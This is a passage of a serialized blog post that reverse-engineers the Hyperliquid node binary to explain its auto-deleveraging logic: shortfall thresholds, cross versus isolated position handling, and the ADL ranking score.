",{"type":19,"tag":293,"props":156763,"children":156764},{},[156765],{"type":24,"value":156766},"hot potato",{"type":24,"value":156768}," to get rid of: what should it even do with the debt?",{"type":19,"tag":32847,"props":156770,"children":156772},{"id":156771},"the-risk-engine",[156773],{"type":24,"value":156774},"The Risk Engine",{"type":19,"tag":20,"props":156776,"children":156777},{},[156778],{"type":24,"value":156779},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":19,"tag":36,"props":156781,"children":156783},{"id":156782},"clearing-up-bad-debt",[156784],{"type":24,"value":156785},"Clearing Up Bad Debt",{"type":19,"tag":20,"props":156787,"children":156788},{},[156789,156790,156797],{"type":24,"value":14062},{"type":19,"tag":269,"props":156791,"children":156794},{"href":156792,"rel":156793},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[273],[156795],{"type":24,"value":156796},"Hyperliquid docs",{"type":24,"value":156798}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":19,"tag":20,"props":156800,"children":156801},{},[156802,156804,156815,156817,156823,156825,156831],{"type":24,"value":156803},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":19,"tag":269,"props":156805,"children":156808},{"href":156806,"rel":156807},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[273],[156809],{"type":19,"tag":27,"props":156810,"children":156812},{"className":156811},[],[156813],{"type":24,"value":156814},"Clearinghouse",{"type":24,"value":156816},", a struct containing all liquidation-related info, nested within a bigger ",{"type":19,"tag":27,"props":156818,"children":156820},{"className":156819},[],[156821],{"type":24,"value":156822},"Exchange",{"type":24,"value":156824}," data structure. This is an example of what it might hold when serialized as ",{"type":19,"tag":27,"props":156826,"children":156828},{"className":156827},[],[156829],{"type":24,"value":156830},"MessagePack",{"type":24,"value":156832}," at runtime.",{"type":19,"tag":20,"props":156834,"children":156835},{},[156836],{"type":24,"value":156837},"This data will come in handy both for us and the agent.",{"type":19,"tag":156839,"props":156840,"children":156842},"file-download",{"path":156841},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":19,"tag":20,"props":156844,"children":156845},{},[156846,156848,156853],{"type":24,"value":156847},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":19,"tag":27,"props":156849,"children":156851},{"className":156850},[],[156852],{"type":24,"value":156814},{"type":24,"value":156854},". Some renaming later, we can infer something like this:",{"type":19,"tag":156533,"props":156856,"children":156860},{"source":156857,"target":156858,"direction":156859},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":19,"tag":20,"props":156862,"children":156863},{},[156864,156866,156871,156873,156879],{"type":24,"value":156865},"We have one huge function handling all clearinghouse operations, which we call ",{"type":19,"tag":27,"props":156867,"children":156869},{"className":156868},[],[156870],{"type":24,"value":156858},{"type":24,"value":156872},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":19,"tag":27,"props":156874,"children":156876},{"className":156875},[],[156877],{"type":24,"value":156878},"exchange_end_block",{"type":24,"value":156880},". So, at the end of each block we run some checks.",{"type":19,"tag":156502,"props":156882,"children":156883},{},[156884],{"type":19,"tag":20,"props":156885,"children":156886},{},[156887],{"type":24,"value":156888},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":19,"tag":20,"props":156890,"children":156891},{},[156892,156894,156900],{"type":24,"value":156893},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":19,"tag":27,"props":156895,"children":156897},{"className":156896},[],[156898],{"type":24,"value":156899},"clearinghouse.perform_auto_deleveraging",{"type":24,"value":156901}," flag.",{"type":19,"tag":156533,"props":156903,"children":156907},{"addr":156904,"line-start":156905,"line-end":156906},"0x555556ac3850","3290","3301",[],{"type":19,"tag":20,"props":156909,"children":156910},{},[156911,156913,156918],{"type":24,"value":156912},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":19,"tag":27,"props":156914,"children":156916},{"className":156915},[],[156917],{"type":24,"value":156814},{"type":24,"value":552},{"type":19,"tag":7050,"props":156920,"children":156922},{"id":156921},"threshold-condition",[156923],{"type":24,"value":156924},"Threshold Condition",{"type":19,"tag":20,"props":156926,"children":156927},{},[156928,156930,156935],{"type":24,"value":156929},"The natural connection between liquidations and ADL is ",{"type":19,"tag":293,"props":156931,"children":156932},{},[156933],{"type":24,"value":156934},"shortfall",{"type":24,"value":156936},": by how much a position, or the entire system (!), is underwater.",{"type":19,"tag":20,"props":156938,"children":156939},{},[156940],{"type":24,"value":156941},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":19,"tag":16345,"props":156943,"children":156945},{"id":156944},"who-is-underwater",[156946],{"type":24,"value":156947},"Who Is Underwater?",{"type":19,"tag":20,"props":156949,"children":156950},{},[156951,156953,156958,156960,156966],{"type":24,"value":156952},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":19,"tag":27,"props":156954,"children":156956},{"className":156955},[],[156957],{"type":24,"value":156858},{"type":24,"value":156959},", starting from all user positions, which are stored in ",{"type":19,"tag":27,"props":156961,"children":156963},{"className":156962},[],[156964],{"type":24,"value":156965},"clearinghouse.user_states",{"type":24,"value":156967},", as we can also see from the serialization.",{"type":19,"tag":156502,"props":156969,"children":156970},{},[156971],{"type":19,"tag":20,"props":156972,"children":156973},{},[156974],{"type":24,"value":156975},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":19,"tag":156533,"props":156977,"children":156981},{"source":156978,"target":156878,"direction":156979,"path":156980},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":19,"tag":20,"props":156983,"children":156984},{},[156985,156986,156991,156993,156999,157001,157007,157009,157015],{"type":24,"value":14062},{"type":19,"tag":27,"props":156987,"children":156989},{"className":156988},[],[156990],{"type":24,"value":156978},{"type":24,"value":156992}," essentially turns that into an ",{"type":19,"tag":27,"props":156994,"children":156996},{"className":156995},[],[156997],{"type":24,"value":156998},"Iter",{"type":24,"value":157000},", then, inside of ",{"type":19,"tag":27,"props":157002,"children":157004},{"className":157003},[],[157005],{"type":24,"value":157006},"build_adl_candidate_set",{"type":24,"value":157008}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":19,"tag":27,"props":157010,"children":157012},{"className":157011},[],[157013],{"type":24,"value":157014},"AdlIterEntry",{"type":24,"value":55810},{"type":19,"tag":156533,"props":157017,"children":157019},{"type-name":157018},"AdlIterContext",[],{"type":19,"tag":20,"props":157021,"children":157022},{},[157023,157025,157031,157033,157039,157041,157047,157049,157054],{"type":24,"value":157024},"Note that in storage, ",{"type":19,"tag":27,"props":157026,"children":157028},{"className":157027},[],[157029],{"type":24,"value":157030},"Isolated",{"type":24,"value":157032}," positions have their own independent ",{"type":19,"tag":27,"props":157034,"children":157036},{"className":157035},[],[157037],{"type":24,"value":157038},"Entry",{"type":24,"value":157040}," in the position iterators, and ",{"type":19,"tag":27,"props":157042,"children":157044},{"className":157043},[],[157045],{"type":24,"value":157046},"Cross",{"type":24,"value":157048}," positions have a single common ",{"type":19,"tag":27,"props":157050,"children":157052},{"className":157051},[],[157053],{"type":24,"value":157038},{"type":24,"value":157055},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":19,"tag":156533,"props":157057,"children":157060},{"addr":157058,"line-start":41734,"line-end":157059},"0x555556266b10","163",[],{"type":19,"tag":20,"props":157062,"children":157063},{},[157064],{"type":24,"value":157065},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":19,"tag":156533,"props":157067,"children":157070},{"addr":156904,"line-start":157068,"line-end":157069},"506","527",[],{"type":19,"tag":20,"props":157072,"children":157073},{},[157074,157076],{"type":24,"value":157075},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":19,"tag":157077,"props":157078,"children":157081},"bndb-xref",{"lines":157079,"addrs":157080},"1-2","0x555556ac3e18-0x555556ac3e18",[157082],{"type":24,"value":157083},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":19,"tag":20,"props":157085,"children":157086},{},[157087,157089,157095,157097,157103,157105,157111,157113,157119],{"type":24,"value":157088},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":19,"tag":27,"props":157090,"children":157092},{"className":157091},[],[157093],{"type":24,"value":157094},"only_isolated",{"type":24,"value":157096}," (or ",{"type":19,"tag":27,"props":157098,"children":157100},{"className":157099},[],[157101],{"type":24,"value":157102},"strict_isolated",{"type":24,"value":157104}," in MessagePack dumps) are added to a separate queue, ",{"type":19,"tag":27,"props":157106,"children":157108},{"className":157107},[],[157109],{"type":24,"value":157110},"deferred_queue",{"type":24,"value":157112},", which triggers ADL regardless of the system's ",{"type":19,"tag":27,"props":157114,"children":157116},{"className":157115},[],[157117],{"type":24,"value":157118},"total_shortfall",{"type":24,"value":157120},". This is dictated by this branch.",{"type":19,"tag":156533,"props":157122,"children":157125},{"addr":156904,"line-start":157123,"line-end":157124},"211","243",[],{"type":19,"tag":20,"props":157127,"children":157128},{},[157129,157131,157138],{"type":24,"value":157130},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":19,"tag":269,"props":157132,"children":157135},{"href":157133,"rel":157134},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[273],[157136],{"type":24,"value":157137},"March 2025 incident",{"type":24,"value":157139},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":19,"tag":16345,"props":157141,"children":157143},{"id":157142},"how-do-we-get-rid-of-debt",[157144],{"type":24,"value":157145},"How Do We Get Rid of Debt?",{"type":19,"tag":20,"props":157147,"children":157148},{},[157149],{"type":24,"value":157150},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":19,"tag":20,"props":157152,"children":157153},{},[157154,157156,157161,157163,157168,157170,157175],{"type":24,"value":157155},"Thus, if the debt is insurmountable, the ",{"type":19,"tag":27,"props":157157,"children":157159},{"className":157158},[],[157160],{"type":24,"value":157110},{"type":24,"value":157162}," is overwritten by all the users marked by ",{"type":19,"tag":27,"props":157164,"children":157166},{"className":157165},[],[157167],{"type":24,"value":157006},{"type":24,"value":157169},", otherwise we keep it and only holders of underwater ",{"type":19,"tag":27,"props":157171,"children":157173},{"className":157172},[],[157174],{"type":24,"value":157102},{"type":24,"value":157176}," positions from the earlier loop are considered for ADL.",{"type":19,"tag":156502,"props":157178,"children":157179},{},[157180],{"type":19,"tag":20,"props":157181,"children":157182},{},[157183],{"type":24,"value":157184},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":19,"tag":156533,"props":157186,"children":157189},{"addr":156904,"line-start":157187,"line-end":157188},"523","526",[],{"type":19,"tag":20,"props":157191,"children":157192},{},[157193,157195,157201,157203,157209,157211,157216],{"type":24,"value":157194},"For each underwater position, we do a ",{"type":19,"tag":157077,"props":157196,"children":157198},{"addrs":157197},"0x555556ac42ad-0x555556ac42be",[157199],{"type":24,"value":157200},"B-tree lookup",{"type":24,"value":157202}," on ",{"type":19,"tag":27,"props":157204,"children":157206},{"className":157205},[],[157207],{"type":24,"value":157208},"clearinghouse.user_states[position.user]",{"type":24,"value":157210},", adding them to a ",{"type":19,"tag":27,"props":157212,"children":157214},{"className":157213},[],[157215],{"type":24,"value":14660},{"type":24,"value":157217}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":19,"tag":156533,"props":157219,"children":157222},{"addr":156904,"line-start":157220,"line-end":157221},"635","658",[],{"type":19,"tag":20,"props":157224,"children":157225},{},[157226],{"type":24,"value":157227},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":19,"tag":158,"props":157229,"children":157230},{},[157231],{"type":19,"tag":27,"props":157232,"children":157234},{"className":157233},[1411,156561],[157235],{"type":19,"tag":168,"props":157236,"children":157238},{"className":157237},[156566],[157239],{"type":19,"tag":168,"props":157240,"children":157242},{"className":157241},[1417],[157243],{"type":19,"tag":168,"props":157244,"children":157246},{"className":157245,"ariaHidden":1423},[1422],[157247],{"type":19,"tag":168,"props":157248,"children":157250},{"className":157249},[1428],[157251,157256],{"type":19,"tag":168,"props":157252,"children":157255},{"className":157253,"style":157254},[1433],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":19,"tag":168,"props":157257,"children":157259},{"className":157258},[1439],[157260],{"type":19,"tag":168,"props":157261,"children":157264},{"className":157262},[157263],"mtable",[157265,157345],{"type":19,"tag":168,"props":157266,"children":157269},{"className":157267},[157268],"col-align-r",[157270],{"type":19,"tag":168,"props":157271,"children":157273},{"className":157272},[1461,19097],[157274,157333],{"type":19,"tag":168,"props":157275,"children":157277},{"className":157276},[1466],[157278,157328],{"type":19,"tag":168,"props":157279,"children":157282},{"className":157280,"style":157281},[1471],"height:2.3452em;",[157283,157306],{"type":19,"tag":168,"props":157284,"children":157286},{"style":157285},"top:-4.3452em;",[157287,157292],{"type":19,"tag":168,"props":157288,"children":157291},{"className":157289,"style":157290},[1480],"height:3.3944em;",[],{"type":19,"tag":168,"props":157293,"children":157295},{"className":157294},[1439],[157296],{"type":19,"tag":168,"props":157297,"children":157299},{"className":157298},[1439,24],[157300],{"type":19,"tag":168,"props":157301,"children":157303},{"className":157302},[1439],[157304],{"type":24,"value":157305},"position_weight",{"type":19,"tag":168,"props":157307,"children":157309},{"style":157308},"top:-2.2092em;",[157310,157314],{"type":19,"tag":168,"props":157311,"children":157313},{"className":157312,"style":157290},[1480],[],{"type":19,"tag":168,"props":157315,"children":157317},{"className":157316},[1439],[157318],{"type":19,"tag":168,"props":157319,"children":157321},{"className":157320},[1439,24],[157322],{"type":19,"tag":168,"props":157323,"children":157325},{"className":157324},[1439],[157326],{"type":24,"value":157327},"position_adl_amount",{"type":19,"tag":168,"props":157329,"children":157331},{"className":157330},[19200],[157332],{"type":24,"value":19203},{"type":19,"tag":168,"props":157334,"children":157336},{"className":157335},[1466],[157337],{"type":19,"tag":168,"props":157338,"children":157341},{"className":157339,"style":157340},[1471],"height:1.8452em;",[157342],{"type":19,"tag":168,"props":157343,"children":157344},{},[],{"type":19,"tag":168,"props":157346,"children":157349},{"className":157347},[157348],"col-align-l",[157350],{"type":19,"tag":168,"props":157351,"children":157353},{"className":157352},[1461,19097],[157354,157555],{"type":19,"tag":168,"props":157355,"children":157357},{"className":157356},[1466],[157358,157550],{"type":19,"tag":168,"props":157359,"children":157361},{"className":157360,"style":157281},[1471],[157362,157490],{"type":19,"tag":168,"props":157363,"children":157364},{"style":157285},[157365,157369],{"type":19,"tag":168,"props":157366,"children":157368},{"className":157367,"style":157290},[1480],[],{"type":19,"tag":168,"props":157370,"children":157372},{"className":157371},[1439],[157373,157377,157381,157386,157390],{"type":19,"tag":168,"props":157374,"children":157376},{"className":157375},[1439],[],{"type":19,"tag":168,"props":157378,"children":157380},{"className":157379,"style":1618},[1520],[],{"type":19,"tag":168,"props":157382,"children":157384},{"className":157383},[1623],[157385],{"type":24,"value":486},{"type":19,"tag":168,"props":157387,"children":157389},{"className":157388,"style":1618},[1520],[],{"type":19,"tag":168,"props":157391,"children":157393},{"className":157392},[1439],[157394,157398,157486],{"type":19,"tag":168,"props":157395,"children":157397},{"className":157396},[19172,111052],[],{"type":19,"tag":168,"props":157399,"children":157401},{"className":157400},[111057],[157402],{"type":19,"tag":168,"props":157403,"children":157405},{"className":157404},[1461,19097],[157406,157474],{"type":19,"tag":168,"props":157407,"children":157409},{"className":157408},[1466],[157410,157469],{"type":19,"tag":168,"props":157411,"children":157414},{"className":157412,"style":157413},[1471],"height:1.3944em;",[157415,157436,157447],{"type":19,"tag":168,"props":157416,"children":157417},{"style":156643},[157418,157422],{"type":19,"tag":168,"props":157419,"children":157421},{"className":157420,"style":109705},[1480],[],{"type":19,"tag":168,"props":157423,"children":157425},{"className":157424},[1439],[157426],{"type":19,"tag":168,"props":157427,"children":157429},{"className":157428},[1439,24],[157430],{"type":19,"tag":168,"props":157431,"children":157433},{"className":157432},[1439],[157434],{"type":24,"value":157435},"total_cross_notional",{"type":19,"tag":168,"props":157437,"children":157438},{"style":111107},[157439,157443],{"type":19,"tag":168,"props":157440,"children":157442},{"className":157441,"style":109705},[1480],[],{"type":19,"tag":168,"props":157444,"children":157446},{"className":157445,"style":111117},[111116],[],{"type":19,"tag":168,"props":157448,"children":157450},{"style":157449},"top:-3.7em;",[157451,157455],{"type":19,"tag":168,"props":157452,"children":157454},{"className":157453,"style":109705},[1480],[],{"type":19,"tag":168,"props":157456,"children":157458},{"className":157457},[1439],[157459],{"type":19,"tag":168,"props":157460,"children":157462},{"className":157461},[1439,24],[157463],{"type":19,"tag":168,"props":157464,"children":157466},{"className":157465},[1439],[157467],{"type":24,"value":157468},"position_notional",{"type":19,"tag":168,"props":157470,"children":157472},{"className":157471},[19200],[157473],{"type":24,"value":19203},{"type":19,"tag":168,"props":157475,"children":157477},{"className":157476},[1466],[157478],{"type":19,"tag":168,"props":157479,"children":157482},{"className":157480,"style":157481},[1471],"height:0.996em;",[157483],{"type":19,"tag":168,"props":157484,"children":157485},{},[],{"type":19,"tag":168,"props":157487,"children":157489},{"className":157488},[19194,111052],[],{"type":19,"tag":168,"props":157491,"children":157492},{"style":157308},[157493,157497],{"type":19,"tag":168,"props":157494,"children":157496},{"className":157495,"style":157290},[1480],[],{"type":19,"tag":168,"props":157498,"children":157500},{"className":157499},[1439],[157501,157505,157509,157514,157518,157528,157532,157537,157541],{"type":19,"tag":168,"props":157502,"children":157504},{"className":157503},[1439],[],{"type":19,"tag":168,"props":157506,"children":157508},{"className":157507,"style":1618},[1520],[],{"type":19,"tag":168,"props":157510,"children":157512},{"className":157511},[1623],[157513],{"type":24,"value":486},{"type":19,"tag":168,"props":157515,"children":157517},{"className":157516,"style":1618},[1520],[],{"type":19,"tag":168,"props":157519,"children":157521},{"className":157520},[1439,24],[157522],{"type":19,"tag":168,"props":157523,"children":157525},{"className":157524},[1439],[157526],{"type":24,"value":157527},"user_shortfall",{"type":19,"tag":168,"props":157529,"children":157531},{"className":157530,"style":1521},[1520],[],{"type":19,"tag":168,"props":157533,"children":157535},{"className":157534},[1526],[157536],{"type":24,"value":108796},{"type":19,"tag":168,"props":157538,"children":157540},{"className":157539,"style":1521},[1520],[],{"type":19,"tag":168,"props":157542,"children":157544},{"className":157543},[1439,24],[157545],{"type":19,"tag":168,"props":157546,"children":157548},{"className":157547},[1439],[157549],{"type":24,"value":157305},{"type":19,"tag":168,"props":157551,"children":157553},{"className":157552},[19200],[157554],{"type":24,"value":19203},{"type":19,"tag":168,"props":157556,"children":157558},{"className":157557},[1466],[157559],{"type":19,"tag":168,"props":157560,"children":157562},{"className":157561,"style":157340},[1471],[157563],{"type":19,"tag":168,"props":157564,"children":157565},{},[],{"type":19,"tag":20,"props":157567,"children":157568},{},[157569],{"type":24,"value":157570},"We do that here:",{"type":19,"tag":156533,"props":157572,"children":157575},{"addr":156904,"line-start":157573,"line-end":157574},"828","981",[],{"type":19,"tag":20,"props":157577,"children":157578},{},[157579,157580,157586,157588,157594],{"type":24,"value":14062},{"type":19,"tag":157077,"props":157581,"children":157583},{"lines":157582},"77-79",[157584],{"type":24,"value":157585},"inner loop",{"type":24,"value":157587}," above spans all ",{"type":19,"tag":27,"props":157589,"children":157591},{"className":157590},[],[157592],{"type":24,"value":157593},"(asset_idx, direction)",{"type":24,"value":157595}," held in the cross margin position.",{"type":19,"tag":20,"props":157597,"children":157598},{},[157599,157601,157607,157609,157615,157616,157622],{"type":24,"value":157600},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":19,"tag":27,"props":157602,"children":157604},{"className":157603},[],[157605],{"type":24,"value":157606},"adl_output",{"type":24,"value":157608}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":19,"tag":27,"props":157610,"children":157612},{"className":157611},[],[157613],{"type":24,"value":157614},"position_id",{"type":24,"value":8436},{"type":19,"tag":27,"props":157617,"children":157619},{"className":157618},[],[157620],{"type":24,"value":157621},"position_shortfall",{"type":24,"value":948},{"type":19,"tag":156533,"props":157624,"children":157627},{"addr":156904,"line-start":157625,"line-end":157626},"2377","2469",[],{"type":19,"tag":20,"props":157629,"children":157630},{},[157631,157633,157639],{"type":24,"value":157632},"Afterwards we can finally loop over the B-tree containing ",{"type":19,"tag":27,"props":157634,"children":157636},{"className":157635},[],[157637],{"type":24,"value":157638},"(position_id, cut)",{"type":24,"value":157640},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":19,"tag":20,"props":157642,"children":157643},{},[157644,157646,157651],{"type":24,"value":157645},"The final phase of ",{"type":19,"tag":27,"props":157647,"children":157649},{"className":157648},[],[157650],{"type":24,"value":156858},{"type":24,"value":157652}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":19,"tag":156533,"props":157654,"children":157657},{"addr":156904,"addr-start":157655,"addr-end":157656},"0x555556ac6d52","0x555556ac6de8",[],{"type":19,"tag":20,"props":157659,"children":157660},{},[157661],{"type":24,"value":157662},"How are positions chosen (sorted) to be deleveraged?",{"type":19,"tag":32847,"props":157664,"children":157666},{"id":157665},"who-do-we-deleverage",[157667],{"type":24,"value":157668},"Who Do We Deleverage?",{"type":19,"tag":20,"props":157670,"children":157671},{},[157672],{"type":24,"value":157673},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":19,"tag":20,"props":157675,"children":157676},{},[157677],{"type":24,"value":157678},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":19,"tag":20,"props":157680,"children":157681},{},[157682,157684,157691],{"type":24,"value":157683},"More formally, fairness can be given multiple related definitions; see ",{"type":19,"tag":269,"props":157685,"children":157688},{"href":157686,"rel":157687},"https://arxiv.org/abs/2512.01112",[273],[157689],{"type":24,"value":157690},"this paper",{"type":24,"value":157692},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":19,"tag":20,"props":157694,"children":157695},{},[157696],{"type":24,"value":157697},"So, is Hyperliquid fair? Is it always solvent?",{"type":19,"tag":36,"props":157699,"children":157701},{"id":157700},"adl-score-computation",[157702],{"type":24,"value":157703},"ADL Score Computation",{"type":19,"tag":20,"props":157705,"children":157706},{},[157707,157709,157715,157717,157723,157725,157730],{"type":24,"value":157708},"The score function at ",{"type":19,"tag":27,"props":157710,"children":157712},{"className":157711},[],[157713],{"type":24,"value":157714},"compute_adl_ranking_score",{"type":24,"value":157716}," is core to answering this question. It's defined, most likely as an ",{"type":19,"tag":27,"props":157718,"children":157720},{"className":157719},[],[157721],{"type":24,"value":157722},"Ord",{"type":24,"value":157724}," implementation on some 20-byte address representation. A ",{"type":19,"tag":27,"props":157726,"children":157728},{"className":157727},[],[157729],{"type":24,"value":14660},{"type":24,"value":157731}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":19,"tag":20,"props":157733,"children":157734},{},[157735,157737,157742,157744,157750,157752,157759,157761,157768],{"type":24,"value":157736},"Those sort routines are ",{"type":19,"tag":293,"props":157738,"children":157739},{},[157740],{"type":24,"value":157741},"generated by the compiler",{"type":24,"value":157743},": since Rust binaries include a lot of metadata by default in ",{"type":19,"tag":27,"props":157745,"children":157747},{"className":157746},[],[157748],{"type":24,"value":157749},".comment",{"type":24,"value":157751},", we may even manually ",{"type":19,"tag":269,"props":157753,"children":157756},{"href":157754,"rel":157755},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[273],[157757],{"type":24,"value":157758},"take advantage",{"type":24,"value":157760}," of this to recover the ",{"type":19,"tag":269,"props":157762,"children":157765},{"href":157763,"rel":157764},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[273],[157766],{"type":24,"value":157767},"exact source of library functions",{"type":24,"value":948},{"type":19,"tag":20,"props":157770,"children":157771},{},[157772,157774,157779],{"type":24,"value":157773},"Let's see how this ties back into the ",{"type":19,"tag":27,"props":157775,"children":157777},{"className":157776},[],[157778],{"type":24,"value":156858},{"type":24,"value":1922},{"type":19,"tag":156533,"props":157781,"children":157783},{"source":156858,"target":157714,"direction":156859,"path":157782},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":19,"tag":20,"props":157785,"children":157786},{},[157787],{"type":24,"value":157788},"And here's the main call site used for sorting:",{"type":19,"tag":156533,"props":157790,"children":157793},{"addr":156904,"line-start":157791,"line-end":157792},"2806","2814",[],{"type":19,"tag":36,"props":157795,"children":157797},{"id":157796},"ratio-1-effective-leverage",[157798],{"type":24,"value":157799},"Ratio 1: Effective Leverage",{"type":19,"tag":158,"props":157801,"children":157802},{},[157803],{"type":19,"tag":27,"props":157804,"children":157806},{"className":157805},[1411,156561],[157807],{"type":19,"tag":168,"props":157808,"children":157810},{"className":157809},[156566],[157811],{"type":19,"tag":168,"props":157812,"children":157814},{"className":157813},[1417],[157815],{"type":19,"tag":168,"props":157816,"children":157818},{"className":157817,"ariaHidden":1423},[1422],[157819,157850],{"type":19,"tag":168,"props":157820,"children":157822},{"className":157821},[1428],[157823,157827,157837,157841,157846],{"type":19,"tag":168,"props":157824,"children":157826},{"className":157825,"style":112589},[1433],[],{"type":19,"tag":168,"props":157828,"children":157830},{"className":157829},[1439,24],[157831],{"type":19,"tag":168,"props":157832,"children":157834},{"className":157833},[1439],[157835],{"type":24,"value":157836},"effective leverage",{"type":19,"tag":168,"props":157838,"children":157840},{"className":157839,"style":1618},[1520],[],{"type":19,"tag":168,"props":157842,"children":157844},{"className":157843},[1623],[157845],{"type":24,"value":486},{"type":19,"tag":168,"props":157847,"children":157849},{"className":157848,"style":1618},[1520],[],{"type":19,"tag":168,"props":157851,"children":157853},{"className":157852},[1428],[157854,157859],{"type":19,"tag":168,"props":157855,"children":157858},{"className":157856,"style":157857},[1433],"height:2.113em;vertical-align:-0.686em;",[],{"type":19,"tag":168,"props":157860,"children":157862},{"className":157861},[1439],[157863,157867,157962],{"type":19,"tag":168,"props":157864,"children":157866},{"className":157865},[19172,111052],[],{"type":19,"tag":168,"props":157868,"children":157870},{"className":157869},[111057],[157871],{"type":19,"tag":168,"props":157872,"children":157874},{"className":157873},[1461,19097],[157875,157950],{"type":19,"tag":168,"props":157876,"children":157878},{"className":157877},[1466],[157879,157945],{"type":19,"tag":168,"props":157880,"children":157882},{"className":157881,"style":156639},[1471],[157883,157904,157915],{"type":19,"tag":168,"props":157884,"children":157885},{"style":156643},[157886,157890],{"type":19,"tag":168,"props":157887,"children":157889},{"className":157888,"style":109705},[1480],[],{"type":19,"tag":168,"props":157891,"children":157893},{"className":157892},[1439],[157894],{"type":19,"tag":168,"props":157895,"children":157897},{"className":157896},[1439,24],[157898],{"type":19,"tag":168,"props":157899,"children":157901},{"className":157900},[1439],[157902],{"type":24,"value":157903},"account value",{"type":19,"tag":168,"props":157905,"children":157906},{"style":111107},[157907,157911],{"type":19,"tag":168,"props":157908,"children":157910},{"className":157909,"style":109705},[1480],[],{"type":19,"tag":168,"props":157912,"children":157914},{"className":157913,"style":111117},[111116],[],{"type":19,"tag":168,"props":157916,"children":157917},{"style":156694},[157918,157922],{"type":19,"tag":168,"props":157919,"children":157921},{"className":157920,"style":109705},[1480],[],{"type":19,"tag":168,"props":157923,"children":157925},{"className":157924},[1439],[157926,157931,157940],{"type":19,"tag":168,"props":157927,"children":157929},{"className":157928},[1439],[157930],{"type":24,"value":156709},{"type":19,"tag":168,"props":157932,"children":157934},{"className":157933},[1439,24],[157935],{"type":19,"tag":168,"props":157936,"children":157938},{"className":157937},[1439],[157939],{"type":24,"value":156719},{"type":19,"tag":168,"props":157941,"children":157943},{"className":157942},[1439],[157944],{"type":24,"value":156709},{"type":19,"tag":168,"props":157946,"children":157948},{"className":157947},[19200],[157949],{"type":24,"value":19203},{"type":19,"tag":168,"props":157951,"children":157953},{"className":157952},[1466],[157954],{"type":19,"tag":168,"props":157955,"children":157958},{"className":157956,"style":157957},[1471],"height:0.686em;",[157959],{"type":19,"tag":168,"props":157960,"children":157961},{},[],{"type":19,"tag":168,"props":157963,"children":157965},{"className":157964},[19194,111052],[],{"type":19,"tag":20,"props":157967,"children":157968},{},[157969,157971,157977,157979,157985,157986,157992,157994,158000],{"type":24,"value":157970},"We can see in the decompilation below, through the SIMD noise, that ",{"type":19,"tag":27,"props":157972,"children":157974},{"className":157973},[],[157975],{"type":24,"value":157976},"abs_notional",{"type":24,"value":157978}," (unsigned), and ",{"type":19,"tag":27,"props":157980,"children":157982},{"className":157981},[],[157983],{"type":24,"value":157984},"float.d(rbx)",{"type":24,"value":2934},{"type":19,"tag":27,"props":157987,"children":157989},{"className":157988},[],[157990],{"type":24,"value":157991},"account_value",{"type":24,"value":157993}," (signed); the division is 